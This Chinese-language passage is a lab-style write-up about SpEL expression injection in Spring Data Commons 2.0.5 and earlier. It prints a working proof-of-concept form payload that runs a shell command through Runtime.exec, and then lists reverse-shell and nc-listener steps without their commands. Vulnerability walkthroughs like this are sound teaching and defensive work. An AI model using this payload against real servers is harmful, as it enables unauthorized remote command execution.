Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员 在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各 层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框 架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为 J2EE应⽤程序开发提供集成的框架。 2009年9⽉Spring 3.0 RC1发布后,Spring就引⼊了SpEL (Spring Expression Language)。类⽐Struts2框架,会发现绝⼤部分的安全漏洞都和OGNL脱不了⼲系。尤其是远程 命令执⾏漏洞,这导致Struts2越来越不受待⻅。 1 app="Struts2" Python 14 因此,Spring引⼊SpEL必然增加安全⻛险。事实上,过去多个Spring CVE都与其相关,如 CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。 SpEL是什么? SpEL(Spring Expression Language)是基于spring的⼀个表达式语⾔,类似于struts的 OGNL,能够在运⾏时动态执⾏⼀些运算甚⾄⼀些指令,类似于Java的反射功能。就使⽤⽅法上 来看,⼀共分为三类,分别是直接在注解中使⽤,在XML⽂件中使⽤和直接在代码块中使⽤
Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命 令
1、访问
2、填写注册信息,抓包
加上POC
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/zcc")]=&password=&repeatedPassword=
3、进入终端,看到成功写入
4、反弹shell
5、利用burpsuite执行sh脚本
6、(靶机)查看
7、nc监听